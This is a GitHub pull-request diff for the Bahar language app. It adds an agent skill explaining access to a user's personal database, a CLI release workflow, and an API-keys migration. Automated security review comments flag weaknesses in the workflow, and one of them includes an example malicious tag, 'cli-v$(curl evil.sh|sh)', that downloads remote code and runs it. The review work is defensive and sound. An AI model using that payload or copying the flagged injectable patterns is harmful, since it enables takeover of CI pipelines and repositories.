Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
103 changes: 103 additions & 0 deletions .claude/skills/bahar-data-access/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,103 @@
---
name: bahar-data-access
description: >
Explains how an agent can access a Bahar user's own dictionary and flashcard data:
it lives in a personal Turso SQLite database (not behind a REST API), the `bahar`
CLI handles login and hands back direct connection credentials, and the agent then
queries that database directly with any SQL/libsql client. Use when a user asks to
look up, search, review, or analyze their own dictionary entries, flashcards, decks,
or study stats via chat — e.g. "what words am I struggling with", "add this word to
my dictionary", "quiz me on my hardest cards", "how many words have I added this
month".
---

# Bahar data access (for agents)

## Where the data lives

Each Bahar user has their own personal SQLite database, hosted on Turso, separate from
the app's central database (auth, billing, etc.). There is no REST API for dictionary or
flashcard data — the web and mobile apps connect to this per-user database directly, and
so should you.

## Step 1 — log in (once per machine)

```bash
bahar login
```

Opens the user's browser to sign in to their Bahar account, then stores a personal API
key locally (`~/.config/bahar/credentials.json`, or the platform equivalent). Only needs
to be run again if the user explicitly logs out or the key is revoked.

## Step 2 — get connection info

```bash
bahar db-info
```

Prints JSON with everything needed to connect: `hostname`, `db_name`, and a short-lived
`access_token` (refreshed automatically by the CLI's backend when it's close to
expiring, so always call this fresh rather than caching the token yourself).

## Step 3 — connect directly

Use any libsql-compatible client with the `hostname` and `access_token` from step 2,
e.g. in Node/Bun:

```ts
import { createClient } from "@libsql/client";

const client = createClient({
url: `libsql://${hostname}`,
authToken: access_token,
});

const result = await client.execute("SELECT word, translation FROM dictionary_entries LIMIT 5");
```

Any language with a libsql/sqlite client works the same way — this isn't Node-specific.

## Step 4 — discover the schema live, don't assume it

Don't hardcode column names from this file into your queries. The schema evolves over
time (Bahar runs real migrations against it), so the only reliable source of truth is
the database itself:

```sql
SELECT name, sql FROM sqlite_master WHERE type = 'table';
```

Run this once at the start of a session to see the exact current columns before writing
queries, rather than guessing.

## Orientation — tables you'll typically care about

These names are stable; treat their *columns* as unknown until you've introspected them
per Step 4.

- `dictionary_entries` — the user's personal Arabic dictionary (word, translation,
definition, morphology, tags, examples, etc.)
- `flashcards` — one row per study direction (forward/reverse) per dictionary entry,
holding FSRS (spaced-repetition) scheduling state
- `decks` — user-defined groupings of flashcards
- `user_stats` — aggregate study stats
- `settings` — per-user app settings
- `migrations` — internal schema-version bookkeeping; not user data, ignore it

## Gotchas

- Several `dictionary_entries` columns (`root`, `tags`, `antonyms`, `examples`,
`morphology`) are stored as JSON *text*. The web/mobile apps parse them through
Drizzle's `mode: "json"` on the way out — a raw SQL client will hand you back the raw
JSON string, so `JSON.parse()` (or your language's equivalent) it yourself.
- `flashcards` scheduling fields (`difficulty`, `stability`, `due`, `state`, `reps`,
`lapses`, etc.) are FSRS algorithm state, not plain data. Reading them for
study-coaching purposes is safe; writing to them to record a review requires running
the actual FSRS update logic first (see `packages/fsrs` in this repo) — don't
hand-write a new `due`/`state` value directly, it will desync the schedule.
Straightforward additive writes (new dictionary entries, new flashcards/decks) don't
have this concern.
- The `access_token` from `bahar db-info` is a real credential scoped to that user's
database. Treat it like a password — don't print it to logs or persist it anywhere
beyond what's needed to make the connection.
88 changes: 88 additions & 0 deletions .github/workflows/release-cli.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
name: Release CLI
on:
workflow_dispatch:
push:
tags:
- "cli-v*"

jobs:
build:
name: Build binaries
runs-on: ubuntu-latest
Comment on lines +1 to +11

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Add an explicit top-level permissions block.

No workflow-level permissions is set, so the build job inherits the repo/org default token permissions (which may be broad read/write). Since build only checks out and compiles code (and runs pnpm install, which executes third-party install scripts), it should be scoped to the minimum required.

🔒 Proposed fix
 name: Release CLI
 on:
   workflow_dispatch:
   push:
     tags:
       - "cli-v*"
+
+permissions:
+  contents: read

Flagged by zizmor: overly broad permissions (excessive-permissions): default permissions used due to no permissions: block.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
name: Release CLI
on:
workflow_dispatch:
push:
tags:
- "cli-v*"
jobs:
build:
name: Build binaries
runs-on: ubuntu-latest
name: Release CLI
on:
workflow_dispatch:
push:
tags:
- "cli-v*"
permissions:
contents: read
jobs:
build:
name: Build binaries
runs-on: ubuntu-latest
🧰 Tools
🪛 zizmor (1.26.1)

[warning] 1-89: overly broad permissions (excessive-permissions): default permissions used due to no permissions: block

(excessive-permissions)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release-cli.yml around lines 1 - 11, The workflow for
Release CLI is missing a top-level permissions block, so the build job inherits
broad default token access. Add an explicit workflow-level permissions setting
in the release-cli workflow and scope it to the minimum required for the
build-only job; verify the existing build job and any related steps like
checkout and pnpm install still work with the reduced token permissions.

Source: Linters/SAST tools

steps:
- uses: actions/checkout@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Set persist-credentials: false on checkout.

pnpm install executes arbitrary third-party install/postinstall scripts. With the default checkout, the GitHub token is persisted in the local git config and could be exfiltrated by a compromised dependency. Since this job never pushes to the repo, credentials don't need to persist.

🔒 Proposed fix
       - uses: actions/checkout@v4
+        with:
+          persist-credentials: false

Flagged by zizmor: credential persistence through GitHub Actions artifacts (artipacked).

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- uses: actions/checkout@v4
- uses: actions/checkout@v4
with:
persist-credentials: false
🧰 Tools
🪛 zizmor (1.26.1)

[warning] 13-13: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)

Source: Linters/SAST tools


- uses: oven-sh/setup-bun@v2
with:
bun-version: "1.3.5"

- uses: pnpm/action-setup@v4
with:
version: 8.15.3

- name: Install dependencies
run: pnpm install --frozen-lockfile

- name: Verify release URLs are configured
run: |
if [ -z "${{ vars.BAHAR_WEB_URL }}" ] || [ -z "${{ vars.BAHAR_API_URL }}" ]; then
echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release."
exit 1
fi

- name: Build binaries
working-directory: apps/cli
run: |
declare -A targets=(
[bun-linux-x64]=bahar-linux-x64
[bun-darwin-x64]=bahar-darwin-x64
[bun-darwin-arm64]=bahar-darwin-arm64
[bun-windows-x64]=bahar-windows-x64.exe
)

for target in "${!targets[@]}"; do
asset="${targets[$target]}"

bun build --compile \
--target="$target" \
--minify-whitespace \
--minify-syntax \
--define "process.env.BAHAR_WEB_URL='${{ vars.BAHAR_WEB_URL }}'" \
--define "process.env.BAHAR_API_URL='${{ vars.BAHAR_API_URL }}'" \
--outfile "$asset" \
src/index.ts
done
Comment on lines +26 to +54

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Avoid direct template interpolation of vars.* into shell scripts.

${{ vars.BAHAR_WEB_URL }} / ${{ vars.BAHAR_API_URL }} are expanded verbatim into the run: script text before the shell even sees it. If either value ever contains shell metacharacters (quotes, $(), backticks), it becomes executable code rather than a quoted string. Route these through env: and reference them as shell variables instead.

🔒 Proposed fix
       - name: Verify release URLs are configured
+        env:
+          BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }}
+          BAHAR_API_URL: ${{ vars.BAHAR_API_URL }}
         run: |
-          if [ -z "${{ vars.BAHAR_WEB_URL }}" ] || [ -z "${{ vars.BAHAR_API_URL }}" ]; then
+          if [ -z "$BAHAR_WEB_URL" ] || [ -z "$BAHAR_API_URL" ]; then
             echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release."
             exit 1
           fi

       - name: Build binaries
         working-directory: apps/cli
+        env:
+          BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }}
+          BAHAR_API_URL: ${{ vars.BAHAR_API_URL }}
         run: |
           ...
             bun build --compile \
               --target="$target" \
               --minify-whitespace \
               --minify-syntax \
-              --define "process.env.BAHAR_WEB_URL='${{ vars.BAHAR_WEB_URL }}'" \
-              --define "process.env.BAHAR_API_URL='${{ vars.BAHAR_API_URL }}'" \
+              --define "process.env.BAHAR_WEB_URL='$BAHAR_WEB_URL'" \
+              --define "process.env.BAHAR_API_URL='$BAHAR_API_URL'" \
               --outfile "$asset" \
               src/index.ts
           done

Flagged by zizmor: code injection via template expansion (template-injection) on lines 28, 50, 51.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Verify release URLs are configured
run: |
if [ -z "${{ vars.BAHAR_WEB_URL }}" ] || [ -z "${{ vars.BAHAR_API_URL }}" ]; then
echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release."
exit 1
fi
- name: Build binaries
working-directory: apps/cli
run: |
declare -A targets=(
[bun-linux-x64]=bahar-linux-x64
[bun-darwin-x64]=bahar-darwin-x64
[bun-darwin-arm64]=bahar-darwin-arm64
[bun-windows-x64]=bahar-windows-x64.exe
)
for target in "${!targets[@]}"; do
asset="${targets[$target]}"
bun build --compile \
--target="$target" \
--minify-whitespace \
--minify-syntax \
--define "process.env.BAHAR_WEB_URL='${{ vars.BAHAR_WEB_URL }}'" \
--define "process.env.BAHAR_API_URL='${{ vars.BAHAR_API_URL }}'" \
--outfile "$asset" \
src/index.ts
done
- name: Verify release URLs are configured
env:
BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }}
BAHAR_API_URL: ${{ vars.BAHAR_API_URL }}
run: |
if [ -z "$BAHAR_WEB_URL" ] || [ -z "$BAHAR_API_URL" ]; then
echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release."
exit 1
fi
- name: Build binaries
working-directory: apps/cli
env:
BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }}
BAHAR_API_URL: ${{ vars.BAHAR_API_URL }}
run: |
declare -A targets=(
[bun-linux-x64]=bahar-linux-x64
[bun-darwin-x64]=bahar-darwin-x64
[bun-darwin-arm64]=bahar-darwin-arm64
[bun-windows-x64]=bahar-windows-x64.exe
)
for target in "${!targets[@]}"; do
asset="${targets[$target]}"
bun build --compile \
--target="$target" \
--minify-whitespace \
--minify-syntax \
--define "process.env.BAHAR_WEB_URL='$BAHAR_WEB_URL'" \
--define "process.env.BAHAR_API_URL='$BAHAR_API_URL'" \
--outfile "$asset" \
src/index.ts
done
🧰 Tools
🪛 zizmor (1.26.1)

[info] 28-28: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[info] 28-28: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[info] 50-50: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[info] 51-51: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release-cli.yml around lines 26 - 54, The release workflow
is interpolating BAHAR_WEB_URL and BAHAR_API_URL directly into the shell script,
which risks template-injection in the Build binaries step. Move both values into
the step’s env and reference them as shell variables inside the Verify release
URLs are configured check and the bun build --define arguments in
release-cli.yml, keeping the existing logic in Build binaries and the target
loop unchanged.

Source: Linters/SAST tools


- uses: actions/upload-artifact@v4
with:
name: binaries
path: |
apps/cli/bahar-linux-x64
apps/cli/bahar-darwin-x64
apps/cli/bahar-darwin-arm64
apps/cli/bahar-windows-x64.exe

release:
name: Create GitHub release
needs: build
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/download-artifact@v4
with:
name: binaries
path: dist

- name: Create release and upload binaries
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release create "${{ github.ref_name }}" \
dist/bahar-linux-x64 \
dist/bahar-darwin-x64 \
dist/bahar-darwin-arm64 \
dist/bahar-windows-x64.exe \
--repo "${{ github.repository }}" \
--title "Bahar CLI ${{ github.ref_name }}" \
--generate-notes
Comment on lines +77 to +88

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Template-inject github.ref_name/github.repository into the release script — use env: indirection.

Git ref names permit characters like $, ( and ), so a maliciously-crafted tag (e.g. cli-v$(curl evil.sh|sh)) pushed by anyone with tag-push rights would be spliced directly into the shell script as executable code rather than a quoted string, in a job holding contents: write. This is the same class of injection zizmor flags at error level.

🔒 Proposed fix
       - name: Create release and upload binaries
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          REF_NAME: ${{ github.ref_name }}
+          REPOSITORY: ${{ github.repository }}
         run: |
-          gh release create "${{ github.ref_name }}" \
+          gh release create "$REF_NAME" \
             dist/bahar-linux-x64 \
             dist/bahar-darwin-x64 \
             dist/bahar-darwin-arm64 \
             dist/bahar-windows-x64.exe \
-            --repo "${{ github.repository }}" \
-            --title "Bahar CLI ${{ github.ref_name }}" \
+            --repo "$REPOSITORY" \
+            --title "Bahar CLI $REF_NAME" \
             --generate-notes

Flagged by zizmor as [error]-level template-injection on lines 81 and 87.

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- name: Create release and upload binaries
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release create "${{ github.ref_name }}" \
dist/bahar-linux-x64 \
dist/bahar-darwin-x64 \
dist/bahar-darwin-arm64 \
dist/bahar-windows-x64.exe \
--repo "${{ github.repository }}" \
--title "Bahar CLI ${{ github.ref_name }}" \
--generate-notes
- name: Create release and upload binaries
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
REF_NAME: ${{ github.ref_name }}
REPOSITORY: ${{ github.repository }}
run: |
gh release create "$REF_NAME" \
dist/bahar-linux-x64 \
dist/bahar-darwin-x64 \
dist/bahar-darwin-arm64 \
dist/bahar-windows-x64.exe \
--repo "$REPOSITORY" \
--title "Bahar CLI $REF_NAME" \
--generate-notes
🧰 Tools
🪛 zizmor (1.26.1)

[error] 81-81: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 87-87: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release-cli.yml around lines 77 - 88, The release job is
interpolating github.ref_name and github.repository directly into the shell
script in the Create release and upload binaries step, which creates
template-injection risk. Move those values into env variables on the job or
step, then reference the env vars inside the gh release create command instead
of using direct GitHub expressions. Keep the change focused on the release step
so the gh invocation only consumes shell-safe environment variables.

Source: Linters/SAST tools

27 changes: 27 additions & 0 deletions apps/api/drizzle/0021_chunky_mister_fear.sql
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
CREATE TABLE `apikeys` (
`id` text PRIMARY KEY NOT NULL,
`name` text,
`start` text,
`prefix` text,
`key` text NOT NULL,
`user_id` text NOT NULL,
`refill_interval` integer,
`refill_amount` integer,
`last_refill_at` integer,
`enabled` integer DEFAULT true,
`rate_limit_enabled` integer DEFAULT true,
`rate_limit_time_window` integer DEFAULT 86400000,
`rate_limit_max` integer DEFAULT 10,
`request_count` integer DEFAULT 0,
`remaining` integer,
`last_request` integer,
`expires_at` integer,
`created_at` integer NOT NULL,
`updated_at` integer NOT NULL,
`permissions` text,
`metadata` text,
FOREIGN KEY (`user_id`) REFERENCES `users`(`id`) ON UPDATE no action ON DELETE cascade
);
--> statement-breakpoint
CREATE INDEX `apikeys_key_idx` ON `apikeys` (`key`);--> statement-breakpoint
CREATE INDEX `apikeys_userId_idx` ON `apikeys` (`user_id`);
Loading